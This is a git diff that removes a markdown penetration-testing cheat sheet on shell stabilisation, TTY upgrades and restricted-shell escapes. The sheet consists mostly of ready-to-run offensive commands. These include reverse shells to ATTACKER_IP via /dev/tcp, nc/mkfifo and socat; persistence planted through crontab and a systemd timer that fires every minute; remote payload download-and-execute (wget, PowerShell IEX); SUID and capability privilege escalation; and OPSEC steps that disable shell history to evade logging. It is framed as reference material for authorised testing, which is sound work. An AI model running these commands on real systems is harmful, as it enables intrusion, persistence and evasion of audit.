-## Restricted Shell Escape - lshell-specific
-
-```bash
-echo os.system('/bin/bash')
-```
-
-Injects Python code via echo in lshell (Python-based restricted shell).
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Directly executes Python to spawn bash bypassing lshell.
-
-```bash
-help
-!/bin/bash
-```
-
-From lshell help pager, spawns bash via ! escape.
-
----
-
-## Restricted Shell Escape - kshell/rksh-specific
-
-```bash
-# Check if running restricted ksh
-echo $0
-# If rksh or ksh -r:
-
-# Try overriding PATH (may work in some versions)
-PATH=/bin:/usr/bin
-export PATH
-/bin/bash
-
-# Try the EDITOR trick
-EDITOR=/bin/bash
-fc -e "${EDITOR}"
-
-# Use command substitution
-$(bash)
-```
-
-rksh-specific escapes exploiting the EDITOR variable and fc (fix command) builtin.
-
----
-
-## Restricted Shell Escape - command enumeration
-
-```bash
-compgen -c
-```
-
-Lists all available commands in current PATH.
-
-```bash
-echo *
-```
-
-Lists files in current directory without using ls.
-
-```bash
-echo /bin/*
-```
-
-Lists /bin directory contents using wildcard expansion.
-
-```bash
-echo /usr/bin/*
-```
-
-Lists /usr/bin contents without cd or ls.
-
-```bash
-printf '%s\n' *
-```
-
-Alternative file listing method using printf and wildcards.
-
-```bash
-which python python3 perl ruby lua node php
-```
-
-Checks for available scripting language interpreters.
-
-```bash
-env
-```
-
-Displays environment variables and their values.
-
-```bash
-set
-```
-
-Shows all shell variables and functions.
-
-```bash
-export
-```
-
-Lists exported environment variables.
-
-```bash
-cat /etc/shells
-```
-
-Lists all valid login shells on the system.
-
-```bash
-file /usr/bin/* 2>/dev/null | grep -i 'elf\|script\|executable'
-```
-
-Identifies binary types in /usr/bin to find useful executables.
-
----
-
-## Restricted Shell Escape - redirect workarounds
-
-```bash
-echo "data" | tee filename
-```
-
-Writes to file using tee instead of > redirect.
-
-```bash
-python -c 'open("file","w").write("data")'
-```
-
-Writes file using Python when output redirection is blocked.
-
-```bash
-perl -e 'open(F,">file"); print F "data"; close(F);'
-```
-
-Writes file using Perl when redirects are unavailable.
-
-```bash
-while read line; do echo $line; done < file
-```
-
-Reads file using while loop when cat is blocked.
-
-```bash
-dd of=filename <<< "data"
-```
-
-Writes data to file using dd and herestring.
-
-```bash
-cp /dev/stdin filename
-```
-
-Copies stdin to a file (type content, then Ctrl+D).
-
----
-
-## Restricted Shell Escape - cron/systemd timers
-
-```bash
-# Check if you can write crontabs
-crontab -l
-crontab -e
-
-# If you can edit crontab:
-# Add: * * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
-
-# Check for writable cron directories
-ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/
-```
-
-Cron-based escape by scheduling a reverse shell or unrestricted command.
-
-```bash
-# Systemd timer abuse (if you can create user timers)
-mkdir -p ~/.config/systemd/user/
-cat > ~/.config/systemd/user/escape.service << 'EOF'
-[Service]
-ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
-EOF
-cat > ~/.config/systemd/user/escape.timer << 'EOF'
-[Timer]
-OnCalendar=*:*:00
-[Install]
-WantedBy=timers.target
-EOF
-systemctl --user daemon-reload
-systemctl --user start escape.timer
-```
-
-Creates a user-level systemd timer that fires a reverse shell every minute.
-
----
-
-## Restricted Shell Escape - setuid/capabilities abuse
-
-```bash
-# Find SUID binaries
-find / -perm -4000 -type f 2>/dev/null
-
-# Find binaries with capabilities
-getcap -r / 2>/dev/null
-
-# Common SUID escapes (check GTFOBins for each):
-# /usr/bin/find, /usr/bin/vim, /usr/bin/env, /usr/bin/awk
-# /usr/bin/nmap, /usr/bin/python3, /usr/bin/perl
-
-# env with SUID:
-/usr/bin/env /bin/bash -p
-
-# find with SUID:
-find . -exec /bin/bash -p \; -quit
-
-# python3 with SUID:
-python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'
-
-# Capabilities escape (e.g., cap_setuid):
-python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
-```
-
-Locating and abusing SUID binaries and Linux capabilities to escape restrictions and escalate.
-
----
-
-## OPSEC Considerations
-
-```bash
-export HISTFILE=/dev/null
-```
-
-Disables shell history logging by redirecting to /dev/null.
-
-```bash
-unset HISTFILE
-```
-
-Removes HISTFILE variable to prevent history logging.
-
-```bash
-set +o history
-```
-
-Disables history feature in current shell session.
-
-```bash
-export HISTSIZE=0
-```
-
-Sets history buffer size to 0, preventing storage in memory.
-
-```bash
-kill -STOP $$
-```
-
-Backgrounds current shell without using Ctrl+Z job control.
-
-```bash
-reset
-```
-
-Restores terminal to normal mode after stty raw failure.
-
-```bash
-stty sane
-```
-
-Resets terminal to sane state after raw mode issues.
-
-```bash
-ps aux | grep -i 'audit\|log\|monitor'
-```
-
-Checks for audit and monitoring processes.
-
-```bash
-who
-```
-
-Shows currently logged-in users for situational awareness.
-
-```bash
-w
-```
-
-Displays who is logged in and what they are doing.
-
-```bash
-cat /var/log/auth.log 2>/dev/null | tail -5
-```
-
-Checks recent authentication log entries for your activity.
-
-```bash
-loginctl list-sessions
-```
-
-Lists active login sessions via systemd.
-
-```bash
-cat /proc/self/cgroup 2>/dev/null
-```
-
-Checks if you're inside a container (useful for container escape decisions).
-
----
-
-## Quick Decision Matrix
-
-|Situation|First try|Second try|Third try|
-|---|---|---|---|
-|Python available|`python3 -c 'import pty;pty.spawn("/bin/bash")'` + stty workflow|socat via upload|script|
-|No Python, has script|`script -qc /bin/bash /dev/null` + stty workflow|Perl exec|expect|
-|Nothing obvious|`which python3 perl ruby lua` then use first hit|`/lib64/ld-linux-x86-64.so.2 /bin/bash`|busybox sh|
-|rbash|`vi` → `:set shell=/bin/bash` → `:shell`|`ssh user@localhost -t /bin/bash`|`BASH_CMDS[sh]=/bin/bash; sh`|
-|lshell|`echo os.system('/bin/bash')`|`help` → `!/bin/bash`|python directly|
-|Chroot jail (as root)|Mount real root + chroot|Nested chroot escape|Check for capabilities|
-|Container (as root)|Mount host FS via docker socket|nsenter PID 1|Check for capabilities|
-|Windows (PowerShell)|ConPtyShell|Meterpreter upgrade|rlwrap + powershell|
-|Only nc on target|`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|bash -i 2>&1\|nc ATTACKER PORT>/tmp/f`|Upload socat static binary|Upload ncat|
-
----
-
-## References
-
-1. [GTFOBins](https://gtfobins.github.io/)
-2. [0xffsec Handbook - Restricted Shells](https://0xffsec.com/handbook/shells/restricted-shells/)
-3. [HackTricks - Escaping from Limited Bash](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash)
-4. [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
-5. [Pentestmonkey Reverse Shell Cheat Sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
-6. [IppSec TTY Upgrade Video](https://www.youtube.com/watch?v=DLzxrzFCOe0)
-7. [Static Binaries Repository](https://github.com/andrew-d/static-binaries)
-8. [ConPtyShell (antonioCoco)](https://github.com/antonioCoco/ConPtyShell)
-9. [LOLBAS Project (Windows)](https://lolbas-project.github.io/)
-10. [WADComs - Interactive Cheat Sheet](https://wadcoms.github.io/)
-
-#linux #shells #tty-upgrade #restricted-shell #privilege-escalation #post-exploitation #rbash #lshell #ssh #gtfobins #opsec #container-escape
diff --git a/src/content/sheets/exploitation/shell-stabilization.md b/src/content/sheets/exploitation/shell-stabilization.md
@@ -1,2222 +0,0 @@
----
-title: "Shell Stabilization & TTY Upgrades"
-description: "Upgrade dumb shells to full TTYs and escape restricted shells (rbash, jails) with many techniques."
-category: exploitation
-tags: [exploitation, shells, post-exploitation]
-tools: [python, socat, stty]
-difficulty: intermediate
-updated: "2026-08-09"
-source: "vault:Exploitation/Jailbreak - TTY Upgrade.md"
----
-
-# TTY Upgrades, Shell Stabilisation & Restricted Shell Escapes
-
-> Comprehensive field guide for interactive shell spawning, stabilisation workflows, and restricted shell breakouts during authorised penetration tests.
-
----
-
-## Table of Contents
-
-- [Terminal Geometry (Rows & Columns)](#terminal-geometry-rows--columns)
-- [TTY Upgrade Workflows](#tty-upgrade-workflows)
-- [TTY Upgrade - Python (pty module)](#tty-upgrade---python-pty-module)
-- [TTY Upgrade - script utility](#tty-upgrade---script-utility)
-- [TTY Upgrade - socat](#tty-upgrade---socat)
-- [TTY Upgrade - expect](#tty-upgrade---expect)
-- [TTY Upgrade - mkfifo (named pipes)](#tty-upgrade---mkfifo-named-pipes)
-- [TTY Upgrade - Ruby (PTY module)](#tty-upgrade---ruby-pty-module)
-- [TTY Upgrade - Perl (IO::Pty)](#tty-upgrade---perl-iopty)
-- [TTY Upgrade - rlwrap](#tty-upgrade---rlwrap)
-- [TTY Stabilisation (stty method)](#tty-stabilisation-stty-method)
-- [TTY Upgrade - SSH escape sequences](#tty-upgrade---ssh-escape-sequences)
-- [TTY Upgrade - Meterpreter to shell](#tty-upgrade---meterpreter-to-shell)
-- [TTY Upgrade - PowerShell (ConPTY)](#tty-upgrade---powershell-conpty)
-- [Troubleshooting TTY Upgrades](#troubleshooting-tty-upgrades)
-- [Restricted Shell Escape Workflows](#restricted-shell-escape-workflows)
-- [Restricted Shell Escape - SSH pre-login](#restricted-shell-escape---ssh-pre-login)
-- [Restricted Shell Escape - SSH configuration](#restricted-shell-escape---ssh-configuration)
-- [Restricted Shell Escape - vi/vim editors](#restricted-shell-escape---vivim-editors)
-- [Restricted Shell Escape - ed/emacs/nano editors](#restricted-shell-escape---edemacsnano-editors)
-- [Restricted Shell Escape - pagers (less/more/man)](#restricted-shell-escape---pagers-lessmoreman)
-- [Restricted Shell Escape - Python](#restricted-shell-escape---python)
-- [Restricted Shell Escape - Ruby/Perl/Lua/AWK](#restricted-shell-escape---rubyperlluaawk)
-- [Restricted Shell Escape - find](#restricted-shell-escape---find)
-- [Restricted Shell Escape - tar](#restricted-shell-escape---tar)
-- [Restricted Shell Escape - zip/unzip](#restricted-shell-escape---zipunzip)
-- [Restricted Shell Escape - gcc/compilers](#restricted-shell-escape---gcccompilers)
-- [Restricted Shell Escape - scp](#restricted-shell-escape---scp)
-- [Restricted Shell Escape - ftp/gdb/rpm](#restricted-shell-escape---ftpgdbrpm)
-- [Restricted Shell Escape - nmap](#restricted-shell-escape---nmap)
-- [Restricted Shell Escape - rsync](#restricted-shell-escape---rsync)
-- [Restricted Shell Escape - tcpdump](#restricted-shell-escape---tcpdump)
-- [Restricted Shell Escape - package managers](#restricted-shell-escape---package-managers)
-- [Restricted Shell Escape - database clients](#restricted-shell-escape---database-clients)
-- [Restricted Shell Escape - systemd tools](#restricted-shell-escape---systemd-tools)
-- [Restricted Shell Escape - container tools](#restricted-shell-escape---container-tools)
-- [Restricted Shell Escape - scheduling tools](#restricted-shell-escape---scheduling-tools)
-- [Restricted Shell Escape - debugging tools](#restricted-shell-escape---debugging-tools)
-- [Restricted Shell Escape - git-shell](#restricted-shell-escape---git-shell)
-- [Restricted Shell Escape - browser-based](#restricted-shell-escape---browser-based)
-- [Restricted Shell Escape - telnet](#restricted-shell-escape---telnet)
-- [Restricted Shell Escape - top](#restricted-shell-escape---top)
-- [Restricted Shell Escape - ncat](#restricted-shell-escape---ncat)
-- [Restricted Shell Escape - ld.so](#restricted-shell-escape---ldso)
-- [Restricted Shell Escape - busybox](#restricted-shell-escape---busybox)
-- [Restricted Shell Escape - screen/tmux](#restricted-shell-escape---screentmux)
-- [Restricted Shell Escape - environment variables](#restricted-shell-escape---environment-variables)
-- [Restricted Shell Escape - chroot/mount](#restricted-shell-escape---chrootmount)
-- [Restricted Shell Escape - rbash-specific](#restricted-shell-escape---rbash-specific)
-- [Restricted Shell Escape - lshell-specific](#restricted-shell-escape---lshell-specific)
-- [Restricted Shell Escape - kshell/rksh-specific](#restricted-shell-escape---kshellrksh-specific)
-- [Restricted Shell Escape - command enumeration](#restricted-shell-escape---command-enumeration)
-- [Restricted Shell Escape - redirect workarounds](#restricted-shell-escape---redirect-workarounds)
-- [Restricted Shell Escape - cron/systemd timers](#restricted-shell-escape---cronsystemd-timers)
-- [Restricted Shell Escape - setuid/capabilities abuse](#restricted-shell-escape---setuidcapabilities-abuse)
-- [OPSEC Considerations](#opsec-considerations)
-- [Quick Decision Matrix](#quick-decision-matrix)
-- [References](#references)
-
----
-
-## Terminal Geometry (Rows & Columns)
-
-If you skip this step, long commands will wrap incorrectly, tab completion will break visually, and tools like `vim`, `top`, and `htop` will render garbage. Every TTY upgrade workflow below ends with setting rows and columns for exactly this reason.
-
-### Why it matters
-
-Your local terminal has a geometry (e.g. 50 rows by 200 columns). The remote shell has no idea what those values are, so it falls back to a default (usually 24x80). This mismatch causes text wrapping issues, broken ncurses applications, and garbled output from anything that tries to draw a full-screen interface.
-
-### Step-by-step: getting and setting geometry
-
-**Step 1 - Get your local terminal size (on your attacker machine, BEFORE you background the shell):**
-
-```bash
-# Method 1: stty (preferred - gives exact values)
-stty size
-# Output example: 50 200
-# Format is: ROWS COLS
-
-# Method 2: tput (alternative)
-echo "Rows: $(tput lines) Cols: $(tput cols)"
-
-# Method 3: environment variables (may not always be set)
-echo "$LINES $COLUMNS"
-
-# Method 4: resize command (if available)
-resize
-```
-
-Write these numbers down or remember them. You need them after you stabilise.
-
-**Step 2 - Set geometry on the remote shell (AFTER stabilisation):**
-
-```bash
-# Using the values from Step 1
-stty rows 50 cols 200
-
-# Alternatively, set them individually
-stty rows 50
-stty cols 200
-```
-
-**Step 3 - Verify it worked:**
-
-```bash
-stty size
-# Should output: 50 200
-
-# Or check with tput
-tput lines
-tput cols
-```
-
-### Quick one-liner for the lazy
-
-Run this on your **local** machine first to get the values, then paste the output into the remote shell after stabilising:
-
-```bash
-# Run locally - generates the command to paste remotely
-echo "stty rows $(tput lines) cols $(tput cols)"
-```
-
-### What if you resize your local terminal mid-session?
-
-The remote shell will not automatically update. You have two options:
-
-```bash
-# Option 1: Manually re-set (always works)
-# Check local size again, then on remote:
-stty rows NEW_ROWS cols NEW_COLS
-
-# Option 2: Use resize command (if installed on target)
-resize
-
-# Option 3: SIGWINCH trap (if bash, and you have a proper PTY)
-# Add to remote shell:
-trap 'resize' WINCH
-```
-
-### Common geometry values for reference
-
-|Terminal setup|Typical rows|Typical cols|
-|---|---|---|
-|Default fallback|24|80|
-|Standard fullscreen (1080p)|50-56|190-210|
-|Standard fullscreen (1440p)|65-75|250-280|
-|Tmux pane (half screen)|25-30|95-105|
-|Small laptop (13")|35-40|150-170|
-|macOS Terminal default|24|80|
-|iTerm2 default|25|80|
-
-### Troubleshooting geometry issues
-
-|Symptom|Cause|Fix|
-|---|---|---|
-|Commands wrap mid-line|cols value too low|`stty cols <correct_value>`|
-|Arrow keys produce `^[[A` etc.|No PTY / not stabilised|Complete the full stty stabilisation workflow|
-|vim/nano display is garbled|rows and/or cols wrong|Set both correctly with `stty rows X cols Y`|
-|Tab completion wraps oddly|cols mismatch|Re-check and re-set cols|
-|Prompt overwrites itself|cols value too high|Lower cols to match actual terminal width|
-
----
-
-## TTY Upgrade Workflows
-
-These are end-to-end workflows. Each one goes from "I have a dumb reverse shell" to "I have a fully interactive stabilised terminal". Pick the one that matches what's available on the target.
-
-### Workflow 1: Python + stty (most common)
-
-This is your bread-and-butter. Works on the vast majority of Linux targets.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ python3 -c 'import pty; pty.spawn("/bin/bash")' │
-│ │
-│ 2. BACKGROUND THE SHELL │
-│ Ctrl+Z │
-│ │
-│ 3. CONFIGURE LOCAL TERMINAL (on attacker machine) │
-│ stty raw -echo; fg │
-│ │
-│ 4. FIX TERMINAL (back on remote shell) │
-│ reset │
-│ export SHELL=bash │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-Full command sequence:
-
-```bash
-# [ON TARGET] Step 1: Spawn PTY
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-
-# [ON TARGET] Step 2: Background
-# Press Ctrl+Z
-
-# [ON ATTACKER] Step 3: Raw mode + foreground
-stty raw -echo; fg
-# (you may need to press Enter twice after fg)
-
-# [ON TARGET] Step 4: Terminal setup
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows 50 cols 200
-```
-
-### Workflow 2: script + stty (when Python is missing)
-
-For minimal systems without Python. The `script` command is part of util-linux and is almost always present.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ script -qc /bin/bash /dev/null │
-│ │
-│ 2. BACKGROUND THE SHELL │
-│ Ctrl+Z │
-│ │
-│ 3. CONFIGURE LOCAL TERMINAL │
-│ stty raw -echo; fg │
-│ │
-│ 4. FIX TERMINAL │
-│ reset │
-│ export SHELL=bash │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-```bash
-# [ON TARGET]
-script -qc /bin/bash /dev/null
-# Ctrl+Z
-
-# [ON ATTACKER]
-stty raw -echo; fg
-
-# [ON TARGET]
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows 50 cols 200
-```
-
-### Workflow 3: socat (best quality, needs binary on target)
-
-Produces the cleanest shell with proper signal handling and window resizing. Requires socat on both ends.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ ATTACKER SIDE: │
-│ socat file:`tty`,raw,echo=0 TCP-L:4444 │
-│ │
-│ TARGET SIDE: │
-│ socat exec:'bash -li',pty,stderr,setsid,sigint,sane │
-│ tcp:ATTACKER_IP:4444 │
-│ │
-│ POST-CONNECT: │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-If socat isn't on the target, transfer a static binary:
-
-```bash
-# [ON ATTACKER] Serve static socat
-python3 -m http.server 8080
-# or
-php -S 0.0.0.0:8080
-
-# [ON TARGET] Download and run
-wget http://ATTACKER_IP:8080/socat -O /tmp/socat
-chmod +x /tmp/socat
-/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
-```
-
-### Workflow 4: rlwrap (attacker-side only, no target dependency)
-
-When you can't modify the target at all but want command history and arrow key support. This doesn't give you a full PTY but it's a significant quality of life improvement.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ ATTACKER SIDE: │
-│ rlwrap nc -lvnp 4444 │
-│ │
-│ TARGET SIDE: │
-│ (normal reverse shell connects) │
-│ │
-│ RESULT: │
-│ Arrow keys work for history │
-│ No Ctrl+C / job control / tab complete │
-│ Combine with stty method for full upgrade │
-└─────────────────────────────────────────────────────────┘
-```
-
-```bash
-# [ON ATTACKER] Start wrapped listener
-rlwrap nc -lvnp 4444
-
-# Then optionally still do the full stty upgrade on top:
-# [ON TARGET] python3 -c 'import pty; pty.spawn("/bin/bash")'
-# Ctrl+Z
-# [ON ATTACKER] stty raw -echo; fg
-# [ON TARGET] reset && export TERM=xterm-256color && stty rows 50 cols 200
-```
-
-### Workflow 5: expect (rare, but useful on embedded/IoT)
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ expect -c 'spawn bash; interact' │
-│ │
-│ 2. BACKGROUND + STABILISE (same as Workflow 1) │
-│ Ctrl+Z │
-│ stty raw -echo; fg │
-│ reset && export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-### Workflow 6: Perl one-liner (when Python and script are both missing)
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ perl -e 'use POSIX; setsid(); exec("/bin/bash")' │
-│ OR │
-│ perl -e 'exec "/bin/bash";' │
-│ │
-│ 2. BACKGROUND + STABILISE (same as Workflow 1) │
-│ Ctrl+Z │
-│ stty raw -echo; fg │
-│ reset && export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
----
-
-## TTY Upgrade - Python (pty module)
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Spawns interactive pseudo-terminal using Python's pty module for job control and interactive features.
-
-```bash
-python -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Python 2 version of pty.spawn for older systems.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/sh")'
-```
-
-Spawns sh shell instead of bash for compatibility with minimal systems.
-
-```bash
-python3 -c '__import__("pty").spawn("/bin/bash")'
-```
-
-Single-expression variant that avoids semicolons (useful when semicolons are filtered).
-
-```bash
-python3 -c 'import os; os.execvp("/bin/bash", ["-bash"])'
-```
-
-Uses execvp to replace the Python process entirely with bash. The `-bash` arg makes it a login shell.
-
----
-
-## TTY Upgrade - script utility
-
-```bash
-script -qc /bin/bash /dev/null
-```
-
-Forces PTY allocation using script command in quiet mode, discarding output to /dev/null.
-
-```bash
-script /dev/null
-```
-
-Minimal version that forces PTY allocation without specifying command.
-
-```bash
-script -q /dev/null -c /bin/bash
-```
-
-Alternative argument ordering (some distros are fussy about flag position).
-
-```bash
-SHELL=/bin/bash script -q /dev/null
-```
-
-Sets SHELL variable before invoking script, ensuring bash is used.
-
----
-
-## TTY Upgrade - socat
-
-```bash
-socat file:`tty`,raw,echo=0 TCP-L:4444
-```
-
-Attacker-side listener that puts local terminal in raw mode and listens on port 4444.
-
-```bash
-socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
-```
-
-Victim-side connection that spawns bash with full PTY support, signal handling, and window resizing.
-
-```bash
-socat TCP:ATTACKER_IP:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
-```
-
-Alternative victim-side syntax for establishing high-quality reverse shell.
-
-```bash
-socat -d -d file:`tty`,raw,echo=0 TCP-L:4444
-```
-
-Verbose listener with debug output for troubleshooting connection issues.
-
----
-
-## TTY Upgrade - expect
-
-```bash
-expect -c 'spawn bash; interact'
-```
-
-Spawns bash in PTY using expect automation tool and gives control to user.
-
-```bash
-expect -c 'spawn sh; interact'
-```
-
-Spawns sh shell with PTY support for minimal environments.
-
----
-
-## TTY Upgrade - mkfifo (named pipes)
-
-```bash
-rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f
-```
-
-Creates bidirectional reverse shell using named pipe feedback loop with netcat.
-
-```bash
-rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | ncat ATTACKER_IP PORT > /tmp/f
-```
-
-Same technique using ncat instead of nc.
-
----
-
-## TTY Upgrade - Ruby (PTY module)
-
-```bash
-ruby -e 'require "pty"; PTY.spawn("/bin/bash") {|r,w,p| system("stty raw -echo"); r.each {|l| puts l}}'
-```
-
-Spawns bash in PTY using Ruby, sets terminal to raw mode, and iterates over output.
-
-```bash
-ruby -e 'exec "/bin/bash"'
-```
-
-Simple exec replacement using Ruby for quick shell spawning.
-
-```bash
-ruby -e 'require "pty"; PTY.spawn("/bin/bash", &:interact)'
-```
-
-Ruby PTY spawn using interact method for cleaner syntax.
-
----
-
-## TTY Upgrade - Perl (IO::Pty)
-
-```bash
-perl -e 'use IO::Pty; my $pty=IO::Pty->new; exec("/bin/bash")'
-```
-
-Creates new PTY object using Perl's IO::Pty module and executes bash.
-
-```bash
-perl -e 'exec "/bin/bash";'
-```
-
-Simple Perl exec replacement for spawning bash.
-
-```bash
-perl -MIO::Pty -e '$pty=IO::Pty->new; exec("/bin/bash")'
-```
-
-Shorter module loading syntax using -M flag.
-
----
-
-## TTY Upgrade - rlwrap
-
-```bash
-rlwrap nc -lvnp 4444
-```
-
-Wraps netcat listener with readline support for command history and arrow keys.
-
-```bash
-stty raw -echo; fg
-```
-
-After backgrounding with Ctrl+Z, puts terminal in raw mode and foregrounds shell.
-
-```bash
-reset
-```
-
-Reinitializes terminal after foregrounding for proper display.
-
-```bash
-export TERM=xterm-256color
-```
-
-Enables color support in stabilized shell.
-
----
-
-## TTY Stabilisation (stty method)
-
-This is the full end-to-end procedure. Every step matters.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Step 1: Spawn PTY using any available method.
-
-```bash
-# Ctrl+Z to background
-```
-
-Step 2: Background the remote shell.
-
-```bash
-stty raw -echo; fg
-```
-
-Step 3: After Ctrl+Z, puts local terminal in raw mode (passes all keystrokes raw to the remote side, including Ctrl+C) and foregrounds remote shell.
-
-```bash
-reset
-```
-
-Step 4: Reinitializes terminal for proper display and functionality. You may see `Terminal type?` prompt - just type `xterm-256color` and press Enter.
-
-```bash
-export TERM=xterm-256color
-```
-
-Step 5: Enables 256-color support in the stabilized shell.
-
-```bash
-export SHELL=bash
-```
-
-Step 6: Sets SHELL environment variable for proper shell behavior.
-
-```bash
-stty rows <ROWS> cols <COLS>
-```
-
-Step 7: Fixes terminal geometry to prevent text wrapping issues (get values with `stty size` locally first). **See the Terminal Geometry section above for how to get the correct values.**
-
----
-
-## TTY Upgrade - SSH escape sequences
-
-If you have SSH access but land in a restricted shell, you can sometimes abuse the SSH escape character to get a local shell on the attacker side, then reconnect properly.
-
-```bash
-# Press Enter, then:
-~C
-# Opens ssh command line
--L 4444:127.0.0.1:4444
-# Sets up local port forward
-```
-
-Creates a local port forward from within an existing SSH session using the escape sequence.
-
-```bash
-# Press Enter, then:
-~.
-```
-
-Terminates the current SSH session cleanly when the shell is hung or unresponsive.
-
----
-
-## TTY Upgrade - Meterpreter to shell
-
-If you have a Meterpreter session and need to drop to an interactive shell:
-
-```bash
-# In msfconsole with active session
-sessions -u <SESSION_ID>
-```
-
-Attempts to upgrade a basic shell session to Meterpreter.
-
-```bash
-# In Meterpreter
-shell
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Drops to system shell from Meterpreter, then upgrades with Python.
-
-```bash
-# Or use the built-in module
-use post/multi/manage/shell_to_meterpreter
-set SESSION <SESSION_ID>
-run
-```
-
-Metasploit module to upgrade shell to Meterpreter automatically.
-
----
-
-## TTY Upgrade - PowerShell (ConPTY)
-
-For Windows targets where you have PowerShell execution:
-
-```powershell
-# Invoke-ConPtyShell (Antonioli's tool)
-IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATTACKER_IP 4444
-```
-
-Downloads and executes ConPTY-based reverse shell for a fully interactive Windows shell.
-
-```bash
-# Attacker-side listener (must use stty raw)
-stty raw -echo; (stty size; cat) | nc -lvnp 4444
-```
-
-Special listener that sends terminal dimensions and then cats input, required for ConPtyShell.
-
----
-
-## Troubleshooting TTY Upgrades
-
-### "reset: unknown terminal type"
-
-```bash
-# This happens when TERM isn't set
-export TERM=xterm
-reset
-# Then set the proper value:
-export TERM=xterm-256color
-```
-
-### Shell dies after `stty raw -echo; fg`
-
-```bash
-# Your terminal is now in raw mode with no echo.
-# Type 'reset' blindly and press Enter, even if you see nothing.
-reset
-# If that fails, open a new terminal and kill the old one.
-```
-
-### Arrow keys still produce escape codes after stabilisation
-
-```bash
-# TERM might be wrong
-export TERM=xterm-256color
-
-# Or the PTY spawn didn't work properly - try a different method:
-script -qc /bin/bash /dev/null
-# Then redo the full stty workflow
-```
-
-### Tab completion doesn't work
-
-```bash
-# Make sure SHELL is set
-export SHELL=/bin/bash
-
-# Source bashrc if it exists
-source /etc/bash.bashrc 2>/dev/null
-source ~/.bashrc 2>/dev/null
-```
-
-### Ctrl+C kills the remote shell instead of the remote process
-
-```bash
-# You didn't do 'stty raw -echo' properly.
-# The stty raw part is what makes Ctrl+C pass through to the remote side.
-# Redo from the Ctrl+Z step.
-```
-
-### Everything is on one line / no newlines
-
-```bash
-# Rows or cols are wrong
-stty rows 50 cols 200
-# Or if that doesn't fix it:
-stty sane
-stty rows 50 cols 200
-```
-
----
-
-## Restricted Shell Escape Workflows
-
-### Workflow A: Recon-first approach (recommended)
-
-Before trying any escape, enumerate what you have:
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. IDENTIFY THE SHELL │
-│ echo $SHELL │
-│ echo $0 │
-│ cat /etc/passwd | grep $(whoami) │
-│ │
-│ 2. ENUMERATE AVAILABLE COMMANDS │
-│ compgen -c (bash/rbash) │
-│ echo /usr/bin/* (wildcard listing) │
-│ which python3 perl ruby lua node php (interpreters) │
-│ type -a vim vi less more man git (builtins) │
-│ │
-│ 3. CHECK ENVIRONMENT │
-│ echo $PATH │
-│ env │
-│ set │
-│ alias │
-│ │
-│ 4. TEST RESTRICTIONS │
-│ cd /tmp (can you change directory?) │
-│ > /tmp/test (can you redirect output?) │
-│ /bin/bash (can you call binaries directly?) │
-│ export PATH=/bin (can you modify PATH?) │
-│ │
-│ 5. CHOOSE ESCAPE BASED ON FINDINGS │
-│ Interpreter available? → Use it (Python/Perl/Ruby) │
-│ Editor available? → vi/vim :!/bin/bash │
-│ Pager available? → less/man then !/bin/bash │
-│ SSH access? → ssh user@localhost -t /bin/bash │
-│ GTFOBins? → Check any unusual binary │
-└─────────────────────────────────────────────────────────┘
-```
-
-### Workflow B: Quick escalation path (when you know the shell type)
-
-```
-┌── Is it rbash? ──────────────────────────────────────┐
-│ YES → Try: vi → :set shell=/bin/bash → :shell │
-│ Try: python3 -c 'import os;os.system("bash")' │
-│ Try: ssh user@localhost -t /bin/bash │
-│ Try: cp /bin/bash . && ./bash │
-│ Try: export BASH_CMDS[sh]=/bin/bash && sh │
-├── Is it lshell? ─────────────────────────────────────┤
-│ YES → Try: echo os.system('/bin/bash') │
-│ Try: help → !/bin/bash (via pager) │
-├── Is it rksh / restricted ksh? ──────────────────────┤
-│ YES → Try: typeset -r restricted (unset flag) │
-│ Try: PATH=/bin:/usr/bin;export PATH;/bin/bash │
